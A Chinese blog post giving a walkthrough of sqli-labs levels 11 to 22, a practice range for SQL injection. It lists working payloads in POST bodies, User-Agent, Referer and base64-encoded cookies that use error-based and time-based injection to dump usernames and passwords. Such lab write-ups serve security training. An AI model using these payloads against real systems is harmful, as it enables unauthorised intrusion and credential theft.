Sqli-labs通关实况之第十一关到第二十二关

发布时间 2023-10-14 03:40:08作者: Kevin_404notfound

sqli靶场通关流程11~22关

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

从这一关开始,我们就要用到post的方法了,只能bp抓包分析了

打开页面,发现只有登录框,我们输入用户名admin,密码admin,进行抓包分析

通过抓包分析,发现了请求体可以进行注入,我们直接输入uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

得到用户名和密码

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

一看到标题,我们就知道这里只需要把单引号改为双引号即可,输入

uname=admin") and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))--+&passwd=admin&submit=Submit

得到用户名和密码

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

直接使用报错函数单引号后加),爆破用户名和密码成功

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

这里我尝试了无数次都失败,后来改为双引号就成功了

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

直接使用时间函数注入的方法,输入uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

爆破出用户名和密码

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

输入uname=admin” and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit,相比less-15,改为双引号即可

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

打开页面,看到提示让我们修改密码

发现不能直接爆破出密码

我们换个思路,再添加一层select,进行堆叠注入试试,输入uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit,发现成功

成功

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

打开,页面,这次给了我们一个ip

根据标题,我们直接修改UA头为1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#

得到用户名和密码

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

根据标题,我们只需要将报文头referer修改跟Less-18一样就好

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

查看标题,可以知道跟cookie头有关,抓包,输入'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)# 得到用户名和密码

Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

等到,可以看到username变为base64编码了,这时我们直接将'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#转换为base64编码即可

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

一样的,只是把单引号换位双引号,将”and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#装换位base64即可

编写人:Kevin
2023.10.14